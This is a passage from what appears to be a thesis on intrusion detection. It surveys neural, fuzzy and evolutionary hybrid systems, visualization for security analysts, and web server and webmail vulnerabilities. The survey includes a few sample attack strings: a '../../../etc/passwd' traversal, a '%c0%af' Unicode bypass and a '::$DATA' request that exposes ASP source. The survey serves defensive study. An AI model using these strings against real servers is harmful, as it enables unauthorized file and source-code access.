different means. While expert systems rely on IF-THEN rules and logical inference, 

neural networks use parallel data processing. An expert system cannot learn, but can 
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explain its reasoning, while a neural network can learn, but acts as a black-box. These 

qualities make them good candidates for building a hybrid intelligent system, called a 

neural or connectionist expert system. 

Neural expert systems use a trained neural network in place of the knowledge base. 

Unlike conventional rule-based expert systems, neural expert systems can deal with 

noisy and incomplete data. Domain knowledge can be utilized in an initial structure of 

the neural network knowledge base. After training, the neural knowledge base can be 

interpreted as a set of IF-THEN production rules [Nikolopoulos 97]. 

2.5.7.2  Neuro-fuzzy system 

A neuro-fuzzy system can be represented by a feed forward neural network consisting 

of five layers: input, fuzzification, fuzzy rule, output membership and defuzzification. 

A neuro-fuzzy system can apply standard learning algorithms developed for neural 

networks, including the back-propagation algorithm. Expert knowledge in the form of 

linguistic variables and fuzzy rules can be embodied in the structure of a neuro-fuzzy 

system. When a representation set of examples is available, a neuro-fuzzy system can 

automatically transform it into a set of fuzzy IF-THEN rules [Jang 97]. 

2.5.7.3  Evolutionary neural networks 

Although neural networks are used for solving a variety of problems, they still have 

some limitations. One of the most common is associated with neural network training. 

The back-propagation learning algorithm that is often used because it is flexible and 

mathematically tractable (given that the transfer functions of neurons can be 

differentiated) has a serious drawback: it cannot guarantee an optimal solution. In real-

world applications, the back-propagation algorithm might converge to a set of sub-

optimal weights from which it cannot escape. As a result, the neural network is often 

unable to find a desirable solution to a problem at hand. 

Another difficulty is related to selecting an optimal topology for the neural network. 

The ‘right’ network architecture for a particular problem is often chosen by means of 

heuristics and designing a neural network topology is still more art than engineering.  

Genetic algorithms are effective for optimizing weights [Montana and Davis 89] and 

selecting the topology of a neural network [Schaffer 92]. 



Chapter 2 General view of literature 
 

40 

2.5.7.4  Genetic expert systems (Holland Learning Classifiers) 

A Holland Learning Classifier System (LCS) is one of the methods used for applying a 

genetic-based approach to machine learning applications. These systems are a class of 

ruled-based messaging systems [Holland 86], [Goldberg 85]. Rules are known as 

classifiers because they are mainly used to classify messages into general sets. Learning 

in classifier systems is achieved by two mechanisms: Bucket-brigade and Genetic 

Algorithms. Bucket-brigade allocates strength (credit) to the classifiers according to 

their usefulness in attaining system goals. Genetic Algorithms are used to search for 

new plausible classifiers. A basic classifier learning system is made up of an input 

interface, a classifier list, a message list, an output interface, a Bucket-brigade and a 

Genetic Algorithm. 

2.5.7.5  Fuzzy evolutionary systems 

Evolutionary computation can also be used for selecting an appropriate set of fuzzy 

rules for solving a complex classification problem. While a complete set of fuzzy IF-

THEN rules is generating from numerical data by using multiple fuzzy rule tables, a 

genetic algorithm is used to select a relatively small number of fuzzy rules with high 

classification power [Ishibuchi 95]. 

2.6  Visualization 

2.6.1  Introduction 

Data visualization is the display of information in a graphic or tabular format. 

Successful visualization requires that the data be converted into a visual format so that 

the characteristics of the data and the relationships among data items or attributes can be 

analyzed or reported. The goal of visualization is the interpretation of the visualized 

information by a person and the formation of a mental model of the information. In 

everyday life, visual techniques such as graphs and tables are often the preferred 

approach used to explain the weather, the economy and the results of political elections. 

Likewise, while algorithmic or mathematical approaches are often emphasized in most 

technical disciplines, visual techniques can play a key role in data analysis. 
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Information presented in a visual format is learned and remembered better than 

information presented textually or verbally. The human brain is structured so that visual 

processing occurs rapidly and in parallel. Given a complicated visual scene, humans can 

immediately pick out important features in a matter of milliseconds. Brains are limited 

in terms of attention and memory but they excel at the processing of visual information. 

This is very different from information that is coded verbally or in a text format and 

must be processed one item at a time.  

Typical tabular or text-based formats of presentation force the user to process 

information in ways that the brain is just not designed to do well. One thing that the 

science of cognitive psychology has clearly shown us is that the human has very severe 

restrictions on the amount of information that can be held in short-term memory at any 

one time. Once this short-term memory capacity (usually seven to nine chunks of 

information) has been exceeded, any new incoming information displaces previously 

held items.  

Imagine having to read through all of the documents identified through a key-word term 

search on the Internet. Most likely, it would take you a long time just to sift through 

information. You would have to read portions of the text, page through to new sections 

while trying to remember what you just read, and cycle backward to recheck 

information that you already encountered. Thus, when trying to page through 

documents keeping track of several things at once, performance is bound to suffer. You 

will quickly reach a point at which you will either be unable to add new items into your 

short-term memory queue, or you will loose track of items already being monitored. As 

a result you may ‘forget’ about interesting results that you pass along the way and may 

loose the opportunity to incorporate them into the final outcome. 

Visualization offers a powerful means of analysis that can help people uncover patterns 

and trends that are likely to be missed with other non-visual methods. Data analyses are 

often performed using other non-visual paradigms such as statistical testing, rule 

induction and unsupervised neural network modeling. However, many of these 

approaches require that you analyze data in hypothesis testing mode in which you have 

a priori notions about what the important results will be before the analysis actually 

begins. Results obtained with these methods tend to describe overall group trends, 

generalized differences, as well as broad categorizations. Visualization methods allow 

you to discover overall trends in your data set while also affording you an opportunity 
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to discover smaller hidden patterns that can often be just as important within an 

application. Visualization has proven to be reliable, easy to learn and extremely cost 

effective.  

 2.6.2  Motivations for Visualization 

The overriding motivation for using visualization is that people can quickly absorb large 

amounts of visual information and find patterns in it. Another general motivation for 

visualization is to make use of the domain knowledge that is “locked up in people’s 

heads”. It is often difficult or impossible to fully utilize such knowledge in statistical or 

algorithmic tools. In some cases, an analysis can be performed using non-visual tools 

and then the results presented visually for evaluation by the domain expert. In other 

cases, having a domain specialist examine visualizations of the data may be the best 

way of finding patterns of interest since, by using domain knowledge, a person can 

often quickly eliminate many uninteresting patterns and direct the focus to the patterns 

that are important. 

2.6.3  Visualization concepts 

2.6.3.1  Representation: Mapping Data to Graphical Elements 

 The first step in visualization is the mapping of information to a visual format, i.e. 

mapping the objects, attributes and relationships in a set of information to visual 

objects, attributes and relationships [Tan 06]. That is, data objects, their attributes and 

the relationships among data objects are translated into graphical elements such as 

points, lines, shapes and colors. 

Objects are usually represented in one of three ways. First, if only a single categorical 

attribute of the object is being considered, then objects are often lumped together into 

categories based on the value of that attribute and these categories are displayed as an 

entry in a table or an area on a screen. Second, if an object has multiple attributes, then 

the object can be displayed as a row (or column) of a table or as line on a graph. Finally, 

an object is often interpreted as a point in two or three-dimensional space, where 

graphically, the point might be represented by a geometric figure, such as circle, cross 

or box. 
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For attributes, the representation depends on the type of attribute, i.e. nominal, ordinal 

or continuous (interval or ratio). Ordinal and continuous attributes can be mapped to 

continuous, ordered graphical features such as location along the x, y, or z axes, 

intensity, color or size (diameter, width, height, etc.). For categorical attributes, each 

category can be mapped to a distinct position, color, shape, orientation or column in a 

table. However, for nominal attributes, whose values are unordered, care should be 

taken when using graphical features, such as color and position that have an inherent 

ordering associated with their values. In other words, the graphical elements used to 

represent the nominal values often have an order, but nominal values do not. 

The representation of relationships via graphical elements occurs either explicitly or 

implicitly. For graph data, the standard graph representation – a set of nodes with links 

between the nodes – is normally used. If the nodes (data objects) or links (relationships) 

have attributes or characteristics of their own, then this is represented graphically. In 

most cases mapping objects and attributes to graphical elements implicitly maps the 

relationships in the data to relationships among graphical elements. In general, it is 

difficult to ensure that a mapping of objects and attributes will result in the relationships 

being mapped to easily observed relationships among graphical elements. Indeed, this is 

one of the most challenging aspects of visualization. In any given set of data, there are 

many implicit relationships and hence, a key challenge of visualization is to choose a 

technique that makes the relationships of interest easily observable.   

2.6.3.2  Selection 

Another key concept of visualization is selection, which is the elimination or the de-

emphasis of certain objects and attributes. Specifically, while data objects that only have 

a few dimensions can often be mapped to a two or three-dimensional graphical 

representation in a straightforward way, there is no completely satisfactory and general 

approach to represent data with many attributes. Likewise, if there are many data 

objects, then visualizing all the objects can result in a display that is too crowded. If 

there are many attributes and many objects, then the situation is even more challenging. 

The most common approach to handle many attributes is to choose a subset of 

attributes, usually two, for display. If the dimensionality is not too high, a matrix of 

bivariate plots can be constructed for simultaneous viewing. Alternatively, a 

visualization program can automatically show a series of two-dimensional plots, in 
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which the sequence is user directed or based on some predefined strategy. The hope is 

that visualizing a collection of two-dimensional plots will provide a more complete 

view of the data. 

When the number of data points is high, e.g. more than a few hundred, or if the range of 

the data is large, it is difficult to display enough information about each object. Some 

data points can obscure other data points, or a data object may not occupy enough pixels 

to allow its features to be clearly displayed. In these situations, it is useful to be able to 

eliminate some of the objects, either by zooming in on a particular region of the data or 

by taking a sample of the data points. 

2.6.3.3  Arrangement 

As discussed earlier, the proper choice of visual representation of objects and attributes 

is essential for good visualization. The arrangement of items within the visual display is 

also crucial. So, rearranging a table of data, like row and column permutation, can make 

clear a relationship between objects and attributes. Also, separating connected 

components of a graph make the relationships between nodes and graphs much simpler 

to understand.  

2.6.4  Visualization techniques 

Visualization techniques are often specialized to the type of data being analyzed. 

Indeed, new visualization techniques and approaches, as well as specialized variations 

of existing approaches, are being continuously created, typically in response to new 

kinds of data and visualization tasks. 

Despite this specialization and the ad hoc nature of visualization, there are some generic 

ways to classify visualization techniques. One such classification is based on the 

number of attributes involved (1,2,3 or many) or whether the data has some special 

characteristic, such as a hierarchical or graph structure. Visualization methods can also 

be classified according to the type of attributes involved. Yet another classification is 

based on the type of application: scientific, statistical, or information visualization. The 

visualization techniques can be summarized to three categories: visualization of a small 

number of attributes, visualization of data with spatial and/or temporal attributes and 

visualization of data with many attributes. 
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2.6.4.1  Visualization of a small number of attributes 

• Stem and Leaf Plots 

• Histograms 

• Two-dimensional Histograms 

• Box Plots 

• Pie Charts 

• Percentile Plots and Empirical Cumulative Distribution Functions 

• Scatter Plots 

• Extending Two and Three-Dimensional Plots 

2.6.4.2  Visualization of Spatio-temporal Data 

• Contour plots 

• Surface Plots 

• Vector Field Plots 

• Lower-Dimensional Slices 

• Animation 

2.6.4.3  Visualization of Higher-Dimensional Data 

• Matrices 

• Parallel Coordinates 

• Star Coordinates and Chernoff Faces 

2.6.5  Visualization Principles 

The following are the ACCENT principles for effective graphical display put forth by 

D.A. Burn [Burn 93] and adapted by M. Friendly [Friendly 05]: 

Apprehension: Ability to correctly perceive relations among variables. 

Clarity: Ability to visually distinguish all the elements of a graph. 

Consistency: Ability to interpret a graph based on similarity to previous graphs. 
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Efficiency: Ability to portray a possibly complex relation in as simple a way as 

possible. Is the graph easy to interpret? 

Necessity: The need for the graph and the graphical elements. Is the graph a more 

useful way to represent the data than alternatives (table, text)? 

Truthfulness: Ability to determine the true value represented by any graphical element 

by its magnitude relative to the implicit or explicit scale. Are the graph elements 

accurately positioned and scaled? 

E.R. Tufte [Tufte 86] has also enumerated the following principles for graphical 

excellence: 

• Graphical excellence is the well-designed presentation of interesting data, a matter 

of substance, of statistics and of design. 

• Graphical excellence consists of complex ideas communicated with clarity, 

precision and efficiency. 

• Graphical excellence is that which gives to the viewer the greatest number of ideas 

in the shortest time with the least ink in the smallest space. 

• Graphical excellence is nearly always multivariate. 

• Graphical excellence requires telling the truth about the data. 

2.7  Information Visualization Framework for IDS 

2.7.1  Security Analyst Tasks 

In this Internet era, organizational dependence on networked information technology 

and its underlying infrastructure has grown explosively. Even the best information 

security policies and prevention technologies will eventually fall to a determined 

attacker. This is why organizations rely on security analysts.  

Network intrusion detection systems (IDS) assist security analysts by automatically 

identify potential attacks from network activity and produce alerts describing the details 

of these intrusions. IDS can be compared to a burglar alarm system in the real world. If 

an IDS produces an accurate alert the security analyst has a last opportunity to respond 

before the damage is done. It is important to note that in small companies a security 
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analyst is not likely to be cost effective, so interacting with the IDS is just one part of 

his job that includes other systems administration, network or security related tasks. 

Analysts responsible for defending their organization’s network infrastructure face a 

difficult struggle to stay current with attackers’ strategies. The work of an ID analyst is 

a complex task that requires experience and knowledge. As networks grow and security 

threats increase, organizations will be hard to find analysts with the requisite expertise 

to immediately accomplish effective ID. 

The analyst ID tasks involve more that reviewing IDS alerts. According to a recent 

work [Goodall 04] there are three distinct phases of ID work: monitoring, analysis and 

response. Because analysis and response phases of ID are highly dependent on the 

expertise of the analysts, the monitoring phase lends itself to being offloaded to less 

experienced staff. 

Analysts must continually monitor IDSs for malicious activity. The number of alerts 

generated by most IDS can quickly become overwhelming and thus the analyst is 

overloaded with information which is difficult to monitor and analyze. Attacks are 

likely to generate multiple related alerts. Current IDS do not make it easy for operators 

to logically group related alerts. This forces the analyst to look only at aggregated 

summaries of alerts or to reduce the IDS signature set in order to reduce the number of 

alerts. There are more than 10000 rules in Snort, an open source IDS available to the 

general public [Snort 06]. By reducing the signature set the analyst knows that although 

it reduces the false alarms it is also likely to increase the number of false negatives, 

meaning that he will not be able to detect actual attacks. 

In the intrusion detection area visualization tools are needed to offload the monitoring 

tasks, so that anomalies can be easily flagged for analysis and immediate response by 

the security analyst.  

According to a recent survey [Komlodi 04] the following table 4-2 presents the 

relationship between the typical tasks of security analysts and the related requirements 

for Information Visualization (IV) tools. 
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Phase Analyst Tasks Visualization Needs 

Monitoring • Monitoring all 
attack alerts 

 
• Identifying 

potentially 
suspicious alerts 

• An overview of the 
alert data 

• Support for pattern 
and anomaly 
recognition 

• Flexibility 
• Speed of processing 

Analysis • Analyzing alert 
data 

 
• Analyzing other 

related data 
 
• Diagnosing attack 

• Multiple views, zoom, 
drill down, 
focus+context 
solutions 

• Correlation between 
displays, linked views 

• Filtering and data 
selection 

Response • Responding to 
attack 

 
• Documenting and 

reporting attack 
 
• Updating IDS 

• Suggestion for 
response action 

• Incident reporting 
• Annotation/feedback 

to facilitate future 
analysis 

• Saving views 
• Historical display 
• Reporting data 

transfer 

Table 2-2  Security analyst tasks and Visualization needs 

The first phase of Intrusion Detection is the surveillance of the network infrastructure 

and resources. This consists of real-time monitoring of an IDS output or offline 

examination of IDS logs, usually daily. Although the IDS is the primary tool for 

monitoring phase, other monitoring tools from simple “pings” to determine if a server is 

listening  to network management applications based on SNMP protocol are also used. 

These latter tools collect bandwidth statistics and system usage and monitor the 

operation of all network devices. In bigger companies or organizations more integrated 

Network Management Systems (NMS) are used which provide an integrated monitoring 

and management of all network devices and servers. From a security point of view, 

these secondary systems are typically not used for detecting intrusions, but provide 

additional data for the analysis phase that takes place next. As we notices earlier, many 

analysts do have duties and responsibilities in addition to ID and so often have limited 

time and attention to give in the continuous monitoring of the IDS. 
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The transition from monitoring to analysis and diagnosis is triggered by an event, 

usually an alert generated by the IDS. Analysis of alerts involves not only the alert 

itself, but many sources of data that provide the necessary information to determine 

whether or not the alert is an actual intrusion and if so, to examine its severity. While 

monitoring is a part of the daily ID work, analysis and response are much more 

unpredictable, both in frequency and duration. Analysis could happen once a week or 

several times a day. If an IDS alert, network anomaly or new vulnerability, is important 

it could require the analyst to spend hours researching the problem before a diagnosis 

can be made. However, there are times when the experience of the analyst is leveraged 

to immediately dismiss an alert as a false positive. 

If the results of the analyst lead to a diagnosis that the alert does indeed represent a 

malicious activity, the analyst must then determine the correct response. This includes 

reaction, documentation and report of the attack. If an active response is required, the 

analyst must choose the most appropriate response based on prior experience and 

knowledge of the attack and the environment.  

2.7.2  Visualization requirements 

Most current Visualization tools focus solely on the monitoring phase and do not 

consider the entire Intrusion Detection as a whole. 

2.7.2.1  Monitoring phase 

In this phase analysts prefer simple, 2D displays for continuous monitoring. Displaying 

an overview of the current activity is essential. The most important attributes must be 

included in the visualization displays in order to provide an overview for the monitoring 

phase. Additionally, flexibility must be reflected in the visualization displays and this is 

an important requirement for both the monitoring and analysis phase. Additionally, 

visualization support for this phase must provide a starting point for recognizing and 

flagging events that require further analysis in a way that can be done quickly and 

effectively without requiring the analysts’ full attention. 
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2.7.2.2  Analysis phase 

Due to the large size of the data sets, filtering is a very important function for IV tools 

for ID as a transitional mechanism from monitoring to analysis. In this phase more 

powerful visualizations than in the monitoring phase are needed, that can represent 

multidimensional data from multiple sources. Also, the ability to have multiple views of 

the same or related data becomes important. Another important need is to display 

several levels of data such as raw packets, host information etc. and allow users to drill 

or zoom in on certain data items for more detailed investigation.  

2.7.2.3  Response phase 

The support necessary for responding to attacks extends IV displays beyond data 

manipulation and viewing. The ability to save views, keep histories of exploration and 

activity and annotating alerts will help analysts document and report incidents. These 

functions are often missing from IV tools, although they allow users to make the 

transition between exploring and finding information and using and reusing this 

information in their work. Finally, suggesting possible responses for different types of 

attacks could greatly aid the speed and efficiency of responding to attacks. 

2.7.3  Conclusion 

Network data analysis is a very important but time consuming task for any administrator 

or security analyst. A significant amount of time is devoted to sifting through text-only 

log files and messages generated by networks tools in order to secure networks. 

Visualization offers a powerful means of analysis that can help the security analyst 

uncover hacker trends or strategies that are likely to be missed with other non-visual 

methods. Visualization allows him to audit the analytical process, since the operator is 

examining the network traffic directly and online and is making iterative decisions 

about what is being presented. 

Combining traditional or novel analytical methods of ID with visual presentation 

techniques can generate a very robust approach to network security. Visualization and 

artificial intelligence can be incorporated in intrusion detection systems to produce more 

powerful security systems capable of dealing with the new attack challenges. 
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Chapter 3 

Research statement 

3.1  Introduction 

In this section firstly, an overview of the web server vulnerabilities will be presented. 

Then, the various methods of machine learning used in our research will be analyzed 

such as Artificial Neural Networks and Evolutionary algorithms. Finally, a research 

overview of Intrusion Detection, Web Intrusion Detection, Evolutionary Artificial 

Neural Networks and Visualization in Intrusion Detection will be described. 

3.2  Web Server security 

The two most popular web servers are Microsoft Internet Information Services (IIS) and 

the opensource Apache Web Server. Although many other servers exist, due to their 

popularity, these offerings dominate the web server area. 

Many optional features are also provided by modern web servers. These features allow 

increased convenience and functionality at the cost of increased security risk. In many 

cases, these additional features are not necessary and should be turned off.  

3.2.1  Directory Listing 

Directory listing may reveal information of value to an attacker such as misconfigured 

files or directories, source code to CGI scripts, log files and other information. If an 

attacker can guess the name of a file he may be able to download it anyway, but by 

making it more difficult we can often deter attackers, who may seek more fruitful 

targets. Directory listing is possible in the absence of index.html. 
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3.2.2  Symbolic links 

Following symbolic links can provide attackers with access to sensitive parts of the file 

system. 

3.2.3  Server-Side Includes (SSI) 

SSIs are used to allow access to real time data from the server by the inclusion of 

special commands in the web page. Some are relatively innocuous such as displaying 

the current time but others such as the “exec” SSI may allow execution of arbitrary 

commands on the web server. In fact, in these days of plug-in CGI scripts and client-

side software the value of SSIs has been reduced to historical interest. 

3.2.4  Cross Site Scripting (XSS) 

Cross site scripting attacks are often used by an attacker to make the user think that 

certain information is actually coming from another site. These attacks are often used in 

scams, or when an attacker is trying to fool people into thinking certain things about 

companies in order to lower the price of the stocks, product prices, etc..  One problem 

with this attack type is that the attacker must have the user click on a link he provides in 

order to view this information. Sometimes an attacker will use other existing holes to 

make this process more believable. These attacks are very common and a lot of major 

sites are affected by this attack type in some way or another. 

3.2.5  Excessive privileges 

To bind a listening socket on TCP port 80 (the default web port) or 443 (the default 

encrypted web port) requires administrative-level privileges on most systems. Unless 

the web server restricts the directories that are publicly accessible, other unintended 

directories may also be available to web clients. For this reason many web servers’ 

privileges are dropped to a lower, less dangerous level, after binding to these ports. 

3.2.6  Directory Traversal 

This is a common technique used by hackers to access files outside the desired directory 

structure. In this type of attack an attacker will construct a request for a filename with a 
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format similar to ../../../etc/passwd. The .. directory is a shorthand for the parent or 

directory higher up. This construct goes up the directory tree and then it goes down to 

the desired file to access. Most current web servers reject requests with this sort of 

structure but Unicode encoding of this type of access may slip past unpatched servers. 

3.2.7  Unicode 

Unicode encoding allows for internationalization of web addresses by encoding a 16-bit 

superset of ASCII standard web addresses, which are encoded in ASCII. It also allows 

for encoding of otherwise inexpressible characters, such as spaces in web addresses. 

Unfortunately, some unpatched servers do not treat the same character in the same way, 

when expressed in Unicode form, as it is expressed as a normal ASCII character. The / 

character, for example, used to separate directory components can be expressed in 

Unicode as %c0%af. Unfortunately, due to this bug, this allowed for successful 

exploitation of the directory traversal issue. Most IDSs canonicalize (convert to a 

standard form) Unicode data, so that it can be analyzed consistently. This is especially 

important, since Unicode provides multiple methods of expressing the same character.  

3.2.8  CGI (Common Gateway Interface) Security 

The CGI defined an early and still quite commonly used method for the web server to 

interact with external programs that can vary their output based on the input they 

receive from the client browser. For security and performance reasons, many web 

servers include add-ons that will run CGIs in the web server itself. In general, this trend 

has proven to enhance security by disallowing dangerous actions (such as access outside 

of specified directories) within the framework of the web server itself, rather that 

relying on the expertise of the CGI author to provide these security features. On the 

browser side, both industry-standard and vendor-specific mechanisms exist to execute 

code on the browser with varying types of security controls. 

The security considerations that exist are Web server bugs or misconfigurations that 

allow unauthorized remote attackers to: 

• Download data not intended for them 

• Execute commands on the server, or break out of the constraints of the commands 

allowed. 
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• Gain information on the configuration of the host or the s/w patch level, which will 

allow them to attack the web server. 

• Launch DoS attacks, rendering the system temporarily unavailable. 

One major source of web server compromise is the exploitation of vulnerable CGI 

programs. Many of these applications are not created with adequate attention to security 

matters for network enabled applications that must deal with untrusted input. This is 

crucial security matter, as web-based applications must be prepared to accept input of 

any sort and any length. 

3.2.8.1  Unchecked Input causing Buffer Overflow or DoS 

If a program allows a static buffer and the hacker enters more data than the buffer has 

allocated, a buffer overflow occurs, potentially leading to a compromise of the system 

3.2.8.2  Command injection 

Many CGI functions build commands to be executed via a shell command. Sometimes 

the full pathname to the command is not specified, thus allowing for the possibility that 

an unintended program of the same name may be executed in the context of the CGI 

program. Also, input containing shell meta characters may cause unintended commands 

to be executed and thus should be scanned for the standard shell meta characters. 

3.2.8.3  Directory Traversal 

If precautions are not taken with user supplied filenames the CGI function may be 

tricked into accessing a file outside the expected file structure. 

3.2.8.4  SQL injection 

Many e-commerce or other database applications that take input via a web form 

construct a SQL command from this input for query of a database. It is possible, with 

malformed unchecked input, to construct a valid SQL command that is significantly 

different from the desired command and execute queries or other SQL commands that 

are unintended (in particular the use of quote and hyphens should be disallowed in 



Chapter 3 Research statement 
 

55 

input). Hyphens can be used in SQL queries to include comments and allow an attacker 

to comment out part of a query and thus bypass access controls. 

3.2.8.5  Excessive privileges 

CGIs often run in the context of the web server and thus may inherit the web server’s 

privileges.  Even if the application is considered secure, it is always important to take 

advantage of any mechanisms that help restrict access only to those resources that the 

applications need. Multiple application wrappers exist (cgiwrap, sbox and so on) that 

enforce that CGI scripts to run as unprivileged users. 

3.2.8.6  Formail vulnerability 

FormMail CGI program allows remote execution of commands. FormMail CGI 

program can be used by web servers other than the host server that the program resides 

on. 

3.2.8.7  MailFile Vulnerability 

CGI program mailfile.cgi in MailFile allows remote attackers to read arbitrary files by 

specifying the target file name in the "filename" parameter in a POST request, which is 

then sent by email to the address specified in the "email" parameter. 

3.2.9  IIS vulnerabilities 

The major vulnerabilities of Microsoft Internet Information Server (IIS) are the 

following: 

3.2.9.1  Virus vulnerabilities (Code Red II worm ) 

The Code Red II worm uses a buffer overflow vulnerability in the IIS indexing service 

DLL. 

Hack state: Complete system compromise, denial of service (DoS), file control, 

arbitrary code execution and privileged access. 
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3.2.9.2  Virus vulnerabilities (DoS Storm worm) 

DoS Storm worm exploits Microsoft IIS systems that have not applied the proper 

security patches for web server Folder Traversal, which can lead to denial of service 

(DoS) 

Hack state: Denial of Service. 

3.2.9.3  Virus vulnerabilities (sadmindIIS worm) 

Sadmind/IIS worm can lead to unauthorized access to Windows systems. 

Hack state: Unauthorized access, unauthorized root access, arbitrary code execution, 

modified web content. 

3.2.9.4  ISAPI buffer overflow 

A section of code in idq.dll that handles input URLs (part of the IIS Indexing Service) 

contains an unchecked buffer, allowing a buffer overflow condition to occur. Because 

idq.dll runs in the system context, the attacker could gain administrative privileges. If 

other trusts have been established the attacker may also be able to compromise 

additional systems. 

Hack state: Complete system compromise. 

3.2.9.5  Denial-of-service (DoS) attacks 

An HTTP GET is comparable to command-line file grabbing technique, but through a 

standard browser. An attacker can intentionally launch malformed GET requests to 

cause an IIS DoS situation, which consumes all server resources and therefore “hangs” 

the service daemon.  

Hack state: Service obstruction 

3.2.9.6  ASP vulnerability with data streams 

The IIS Active Server Pages (ASP) tender an advanced, open, noncompilation 

application environment in which you can combine HTML, scripts and reusable Active 

X server components to create dynamic, secure Web-based business solutions. 
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URLs and the data they contain form objects called streams. In general, a data stream is 

accessed by referencing the associated filename, with further named streams 

corresponding to filename:stream. The exploit relates to unnamed data streams that can 

be accessed using filename::$DATA.  

An attacker can open www.target.com/file.asp::$DATA and be presented with the 

source of the ASP code, instead of the output.  

Hack state: code embezzlement. 

3.2.9.7  Superfluous decoding 

IIS runs a pass when a user tries to execute server programs or scripts. A decoding pass 

is performed, then a subsequent superfluous decode pass is performed. Windows 

systems running unpatched versions of IIS may be affected. A remote attacker can 

exploit the vulnerability in IIS related to the second superfluous decoding pass, allowing 

the attacker to gain unauthorized access, potentially with the privileges of the Everyone 

group by crafting a special request. The request may pass the initial security check, yet 

may be allowed access to a service to which it should not have access. This can allow 

the attacker to execute arbitrary code in the IUSR_machinename context. 

Hack state: Unauthorized access, arbitrary code execution. 

3.2.10  Mail attacks 

There is a variety of mail vulnerabilities. We present the most important: 

3.2.10.1  Webmails vulnerabilities 

Buffer overflow in the web interface for Cmail allows remote attackers to execute 

arbitrary commands via a long GET request. 

Directory traversal vulnerability in webmail feature of ArGoSoft Mail Server Plus 

allows remote attackers to read arbitrary files via .. (dot dot) sequences in a URL. 

Buffer overflow in the MERCUR WebView WebMail server allows remote attackers to 

cause a denial of service via a long mail user parameter in the GET request. 
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ArGoSoft Mail Server allows a webmail user to cause a denial of service (CPU 

consumption) by forwarding the email to the user while autoresponse is enabled, which 

creates an infinite loop. 

Cross-site scripting (XSS) vulnerability in admin.asp in CMailServer allows remote 

attackers to execute arbitrary web script or HTML via personal information fields, such 

as (1) username, (2) name, or (3) comments. 

3.2.10.2  Mailpost vulnerability 

Program mailpost.exe in MailPost allows remote attackers to cause a denial of service 

(server crash), leak sensitive pathname information in the resulting error message, and 

execute a cross-site scripting (XSS) attack via an HTTP request that contains a / 

(backslash) and arbitrary webscript before the requested file, which leaks the pathname 

and does not quote the script in the resulting Visual Basic error message. 

3.2.10.3  Mailman vulnerability 

Cross-site scripting (XSS) vulnerability in the driver script in mailman allows remote 

attackers to inject arbitrary web script or HTML via a URL, which is not properly 

escaped in the resulting error page. 

3.2.10.4  SquirrelMail vulnerability 

Cross-site scripting (XSS) vulnerability in webmail.php in SquirrelMail allows remote 

attackers to inject arbitrary web script or HTML via certain integer variables. 

Directory traversal vulnerability in ftp file in the Vacation plugin for Squirrelmail 

allows local users to read arbitrary files via a .. (dot dot) in a get request. 

PHP remote code injection vulnerability in webmail.php in SquirrelMail allows remote 

attackers to execute arbitrary PHP code by modifying a URL parameter to reference a 

URL on a remote web server that contains the code. 

PHP remote code injection vulnerability in Squirrelmail allows remote attackers to 

execute arbitrary code via "URL manipulation." 
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3.3  Machine learning 

In general, machine learning involves adaptive mechanisms that enable computers to 

learn from experience, learn by example and learn by analogy. Learning capabilities can 

improve the performance of an intelligent system over time. Machine learning 

mechanisms form the basis for adaptive systems. The most popular approaches to 

machine learning are artificial neural networks and genetic algorithms. 

3.3.1  Neural network 

A neural network can be defined as model of reasoning based on the human brain. The 

brain consists of a densely interconnected set of nerve cell, or basic information-

processing units, called neurons. The human brain incorporates nearly 10 billion 

neurons and 60 trillion connections synapses, between them [Shepherd 90]. By using 

multiple neurons simultaneously, the brain can perform its functions much faster that 

the fastest computers in existence today. 

A neuron consists of a cell body, soma, a number of fibres called dendrites and a single 

long fiber called the axon. While dendrites branch into a network around the soma, the 

axon stretches out to the dendrites and somas of other neurons. Figure 3-1 is a 

schematic drawing of a neural network. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-1  Biological neural network 
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Signals are propagated from one neuron to another by complex electrochemical 

reactions. Chemical substances released from the synapses cause a change in the 

electrical potential of the cell body. When the potential reaches its threshold, an 

electrical pulse, action potential, is sent down through the axon. The pulse spreads out 

and eventually reaches synapses, causing them to increase or decrease their potential. 

However, the most interesting finding is that a neural network exhibits plasticity. In 

response to the stimulation pattern, neurons demonstrate long-term changes in the 

strength of their connections. Neurons also can form new connections with other 

neurons. Even entire collections of neurons may sometimes migrate from one place to 

another. These mechanisms form the basis for learning in the brain. 

Our brain can be considered as a highly complex, nonlinear and parallel information-

processing system. Information is stored and processed in a neural network 

simultaneously throughout the whole network, rather than at specific locations. In other 

words, in neural networks, both data and its processing are global rather than local. 

Owing to the plasticity, connections between neurons leading to the ‘right answer’ are 

strengthened while those leading to the ‘wrong answer’ weaken. As a result, neural 

networks have the ability to learn through experience. The ease and naturalness with 

which they can learn led to attempts to emulate a biological neural network in a 

computer. 

How do the artificial neural networks model the brain? 

An artificial neural network consists of a number of very simple and highly 

interconnected processors, also called neurons, which are analogous to the biological 

neurons in the brain. The neurons are connected by weighted links passing signals from 

one neuron to another. Each neuron receives a number of input signals through its 

connections; however, it never produces more that a single output signal. The output 

signal is transmitted through the neuron’s outgoing connection (corresponding to the 

biological axon). The outgoing connection, in turn, splits into a number of branches that 

transmit the same signal (the signal is not divided among these branches an any way). 

The outgoing branches terminate at the incoming connections of other neurons in the 

network. Table 3-1 shows the analogy between biological and artificial neural networks 

[Medsker 94]. 
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Biological neural network Artificial neural network 
  

Soma Neuron 
Dendrite Input 

Axon Output 
Synapse Weight 

Table 3-1  Biological and Artificial Neural Network 

3.3.1.1  Exact and Approximate representation using 

Feedforward Networks 

Multilayer feedforward networks offer immense scope for exact representation of a 

broad class of input/output maps, as suggested by Kolmogorov’s theorem [Kolmogorov 

57]. However, practical design considerations, which include the actual construction of 

the neural network, demand an appreciation of the possibilities of approximation for 

meeting a desired error criterion. After all, the learning of an input/output mapping from 

a set of exemplars that a neural network is designed to realize and to generalize as well 

when presented with new inputs, may be described in terms of approximation theory. 

Appendix C describes the Kolmogorov’s and Sprecher’s exact representation and the 

approximate representation using feedforward networks. 

3.3.1.2  Learning in ANNs 

Learning in ANNs is typically accomplished using examples. This is also called 

“training” in ANNs because the learning is achieved by adjusting the connection 

weights in ANNs iteratively so that trained (or learned) ANNs can perform certain 

tasks. Learning in ANNs can roughly be divided into supervised, unsupervised and 

reinforcement learning.  

Supervised learning is based on direct comparison between the actual output of an ANN 

and the desired correct output, also known as the target output. It is often formulated as 

the minimization of an error function such as the total mean square error between the 

actual output and the desired output summed over all available data. A gradient 

